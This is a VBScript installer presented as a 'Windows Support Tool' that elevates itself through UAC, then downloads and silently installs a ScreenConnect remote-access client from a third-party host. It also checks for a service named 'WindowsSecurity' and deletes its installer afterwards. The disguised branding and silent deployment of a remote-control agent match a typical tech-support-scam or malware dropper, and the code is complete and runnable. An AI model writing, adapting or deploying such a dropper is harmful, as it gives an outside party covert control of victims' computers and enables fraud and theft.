' =============================================================================
' Windows Support Tool - Client Setup Bootstrap
' Silent remote support agent deployment with logging and verification.
' Launch:  wscript.exe setup.vbs   (double-click also works)
' =============================================================================
Option Explicit

' --- Tunables ---------------------------------------------------------------
Const BRAND           = "Windows Support Tool"
Const SOURCE_URL      = "https://ohridtaxi.screenconnect.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest"
Const PKG_NAME        = "windows-support-setup.msi"
Const PKG_SWITCHES    = "/qn /norestart"
Const SHOW_DIALOGS    = True
Const PRESERVE_PKG    = False
Const VERBOSE_LOG     = True

' --- Runtime handles --------------------------------------------------------
Dim wsh, fs
Dim stageDir, pkgPath, pkgLog, runLog
Dim rc, dlErr, probeRc

Set wsh = CreateObject("WScript.Shell")
Set fs  = CreateObject("Scripting.FileSystemObject")

stageDir = fs.BuildPath(wsh.ExpandEnvironmentStrings("%TEMP%"), "WindowsSupportTool")
pkgPath  = fs.BuildPath(stageDir, PKG_NAME)
pkgLog   = fs.BuildPath(stageDir, "msi-install.log")
runLog   = fs.BuildPath(stageDir, "bootstrap.log")

' --- Entry ------------------------------------------------------------------
MakeDir stageDir
Trace "================================================"
Trace BRAND & " launched " & Now
Trace "Host script: " & WScript.ScriptFullName
Trace "Staging dir: " & stageDir
Trace "================================================"

If Not Elevated() Then
    If FlagPresent("/elevated") Then
        Trace "Elevation denied by user."
        Bail "Administrator permission was not granted.", 1
    End If
    Trace "Prompting UAC for elevation."
    ElevateSelf
    WScript.Quit 0
End If

Trace "Admin context confirmed."

' --- Reset staging area -----------------------------------------------------
Purge pkgPath
Purge pkgLog
Trace "Stale artifacts removed."

' --- Fetch package ----------------------------------------------------------
Trace "Fetching: " & SOURCE_URL
dlErr = Fetch(SOURCE_URL, pkgPath)

If dlErr <> "" Then
    Bail "Download failed: " & dlErr, 1
End If

If Not fs.FileExists(pkgPath) Then
    Bail "Fetch reported success but file is missing.", 1
End If

Trace "Package staged. Bytes: " & HumanSize(fs.GetFile(pkgPath).Size)

If fs.GetFile(pkgPath).Size < 1024 Then
    Trace "NOTE: package unusually small (" & fs.GetFile(pkgPath).Size & " bytes)"
    If SHOW_DIALOGS Then
        If MsgBox("Downloaded file is only " & HumanSize(fs.GetFile(pkgPath).Size) & _
                  vbCrLf & "Proceed with install anyway?", vbYesNo + vbQuestion, BRAND) = vbNo Then
            WScript.Quit 1
        End If
    End If
End If

' --- Deploy -----------------------------------------------------------------
Trace "Starting silent install."
Trace "Installer log: " & pkgLog

rc = wsh.Run( _
    "msiexec.exe /i " & Wrap(pkgPath) & " " & PKG_SWITCHES & _
    " /L*v " & Wrap(pkgLog), 0, True)

Trace "msiexec returned: " & rc

If rc = 0 Or rc = 3010 Then
    Trace "Install completed."
ElseIf rc = 1603 Then
    Bail "Fatal MSI error (1603). Log: " & pkgLog, 1603
ElseIf rc = 1618 Then
    Bail "Concurrent installation in progress (1618).", 1618
ElseIf rc = 1619 Then
    Bail "Package could not be opened (1619).", 1619
ElseIf rc = 1638 Then
    Bail "Same version already present (1638).", 1638
Else
    Bail "MSI failed with code " & rc & ". Log: " & pkgLog, rc
End If

' --- Service sanity check ---------------------------------------------------
Trace "Waiting for agent service to register..."
WScript.Sleep 5000

probeRc = wsh.Run( _
    "cmd.exe /c sc query state= all | findstr /i ""ScreenConnect"" >nul 2>&1", 0, True)

If probeRc <> 0 Then
    Trace "ScreenConnect service not visible yet."

    Dim altRc
    altRc = wsh.Run( _
        "cmd.exe /c sc query | findstr /i ""WindowsSecurity"" >nul 2>&1", 0, True)

    If altRc = 0 Then
        Trace "WindowsSecurity service detected."
    Else
        Trace "No known agent service found."
        If SHOW_DIALOGS Then
            MsgBox "Install finished, but service verification is pending." & _
                   vbCrLf & vbCrLf & "Inspect services.msc for the ScreenConnect service.", _
                   vbExclamation, BRAND
        End If
    End If
Else
    Trace "ScreenConnect service active."
End If

' --- Teardown ---------------------------------------------------------------
If Not PRESERVE_PKG Then
    Purge pkgPath
    Trace "Installer package removed."
End If

Trace "Bootstrap finished cleanly."
WScript.Quit 0

' ===========================================================================
' Helpers
' ===========================================================================

Function Elevated()
    On Error Resume Next
    Elevated = (wsh.Run("cmd.exe /c fltmc.exe >nul 2>&1", 0, True) = 0)
    If Err.Number <> 0 Then Elevated = False
    On Error GoTo 0
End Function

Function FlagPresent(flag)
    Dim a
    FlagPresent = False
    For Each a In WScript.Arguments
        If LCase(CStr(a)) = LCase(flag) Then
            FlagPresent = True
            Exit Function
        End If
    Next
End Function

Sub ElevateSelf()
    Dim sh
    Set sh = CreateObject("Shell.Application")
    sh.ShellExecute "wscript.exe", Wrap(WScript.ScriptFullName) & " /elevated", "", "runas", 1
End Sub

Sub MakeDir(p)
    On Error Resume Next
    If Not fs.FolderExists(p) Then
        fs.CreateFolder p
        If Err.Number <> 0 Then Trace "mkdir failed: " & Err.Description
    End If
    On Error GoTo 0
End Sub

Sub Purge(p)
    On Error Resume Next
    If fs.FileExists(p) Then
        fs.DeleteFile p, True
        If Err.Number <> 0 Then Trace "delete failed: " & Err.Description
    End If
    On Error GoTo 0
End Sub

Sub Trace(msg)
    Dim f
    If Not VERBOSE_LOG Then Exit Sub
    On Error Resume Next
    MakeDir stageDir
    Set f = fs.OpenTextFile(runLog, 8, True)
    f.WriteLine FormatDateTime(Now, 0) & "  " & msg
    f.Close
    On Error GoTo 0
End Sub

Sub Bail(msg, code)
    Trace "ABORT: " & msg
    If SHOW_DIALOGS Then
        MsgBox msg & vbCrLf & vbCrLf & "Log: " & runLog, vbCritical, BRAND
    End If
    WScript.Quit code
End Sub

Function Fetch(url, target)
    Dim http, stream, ctype
    Fetch = ""

    On Error Resume Next
    Err.Clear

    Set http = CreateObject("WinHttp.WinHttpRequest.5.1")
    If Err.Number <> 0 Then
        Fetch = "HTTP client unavailable: " & Err.Description
        Err.Clear
        Exit Function
    End If

    http.SetTimeouts 30000, 30000, 30000, 300000

    http.Open "GET", url, False
    If Err.Number <> 0 Then
        Fetch = "Open failed: " & Err.Description
        Err.Clear
        Exit Function
    End If

    http.SetRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
    http.SetRequestHeader "Cache-Control", "no-cache"
    http.SetRequestHeader "Accept", "*/*"

    http.Send
    If Err.Number <> 0 Then
        Fetch = "Send failed: " & Err.Description
        Err.Clear
        Exit Function
    End If

    If VERBOSE_LOG Then
        Trace "HTTP " & http.Status & " " & http.StatusText
        Err.Clear
        ctype = http.GetResponseHeader("Content-Type")
        If ctype <> "" Then Trace "Content-Type: " & ctype
        Err.Clear
    End If

    If http.Status < 200 Or http.Status > 299 Then
        Fetch = "Server returned HTTP " & http.Status & " " & http.StatusText
        Exit Function
    End If

    Set stream = CreateObject("ADODB.Stream")
    If Err.Number <> 0 Then
        Fetch = "Stream unavailable: " & Err.Description
        Err.Clear
        Exit Function
    End If

    stream.Type = 1
    stream.Open
    stream.Write http.ResponseBody

    stream.SaveToFile target, 2
    If Err.Number <> 0 Then
        Fetch = "Save failed: " & Err.Description
        Err.Clear
    End If

    stream.Close
    On Error GoTo 0
End Function

Function Wrap(value)
    Wrap = """" & CStr(value) & """"
End Function

Function HumanSize(bytes)
    If bytes < 1024 Then
        HumanSize = bytes & " B"
    ElseIf bytes < 1048576 Then
        HumanSize = Round(bytes / 1024, 1) & " KB"
    ElseIf bytes < 1073741824 Then
        HumanSize = Round(bytes / 1048576, 1) & " MB"
    Else
        HumanSize = Round(bytes / 1073741824, 1) & " GB"
    End If
End Function